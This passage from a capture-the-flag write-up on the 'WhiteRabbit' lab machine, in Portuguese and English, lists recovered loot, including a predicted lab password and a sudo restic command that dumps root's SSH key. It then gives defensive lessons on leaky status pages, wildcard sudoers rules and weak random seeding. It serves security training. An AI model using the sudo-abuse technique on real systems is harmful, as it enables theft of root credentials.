| ssh key | morpheus ECDSA P-256 | sudo restic dump latest /root/morpheus |
| password | neo · WBSxhWgfnMiclrV4dqfj | predicted (glibc rand seeded epoch_ms 1725028842339) |
| binary | /opt/neo-password-generator | scp from morpheus@host |
Uptime Kuma, Grafana, Prometheus, Statuscake: todos têm rotas públicas pra status
page que vazam nomes de serviços, hosts, ports. WhiteRabbit deixa um /status/temp
rodando — provavelmente "temporário durante deploy" que virou permanente.
Auditoria recorrente de status pages
precisa entrar no checklist trimestral de qualquer SRE.
Uptime Kuma, Grafana, Prometheus, Statuscake: all of them have public status-page
routes that leak service names, hosts, ports. WhiteRabbit leaves a /status/temp
running — probably "temporary during deploy" that became permanent.
Recurring audits of status pages need
to be on every SRE's quarterly checklist.
restic, borg, tar, rsync,
cpio, dump: qualquer ferramenta que lê arquivos pra arquivar
roda como root, e tem comando de extração pra inverter. O resultado prático é
sudo cat <qualquer>. Adicionar uma dessas em sudoers sem restringir
path/args é um anti-pattern crítico. Sudoers
com asterisco ("restic *") é equivalente a
"ALL : ALL" pra qualquer binário de I/O.
restic, borg, tar, rsync,
cpio, dump: any tool that reads files to archive runs as
root, and ships with an extraction command to invert. End result:
sudo cat <anything>. Adding one of these to sudoers without restricting
path/args is a critical anti-pattern. Sudoers
with an asterisk ("restic *") is equivalent to
"ALL : ALL" for any I/O binary.
Se alguém escreveu srand(time(NULL)) em 2024, escreveu errado em 1990 também.
Pra gerar credenciais, segredos, IDs, tokens: sempre use uma fonte CSPRNG
do SO: /dev/urandom em Linux, BCryptGenRandom em Windows,
getrandom(2), arc4random_buf. Reverse-engineer de geradores
determinísticos é exercício comum em CTF justamente por ser comum em produção.
Code review pra cripto deveria flagar
qualquer uso de rand()/random()/Math.random() em
contexto sensível.
If anyone wrote srand(time(NULL)) in 2024, they wrote it wrong in 1990 too.
For generating credentials, secrets, IDs, tokens: always use an OS CSPRNG:
/dev/urandom on Linux, BCryptGenRandom on Windows,
getrandom(2), arc4random_buf. Reverse-engineering deterministic
generators is a CTF staple precisely because it's so common in production.
Crypto code review should flag any use
of rand()/random()/Math.random() in a sensitive
context.
Se você terminou WhiteRabbit e quer treinar conceitos isolados antes da próxima Insane, essas três Mediums constroem a base:
If you've finished WhiteRabbit and want to drill isolated concepts before another Insane, these three Mediums build the foundation:
═════════════════════════════════════════════════════════════════════════ :: ARES :: red team machine // offensive division // vultus cyber :: :: whiterabbit · linux · INSANE · 8-stage chain · ROOTED in 47:00 :: ═════════════════════════════════════════════════════════════════════════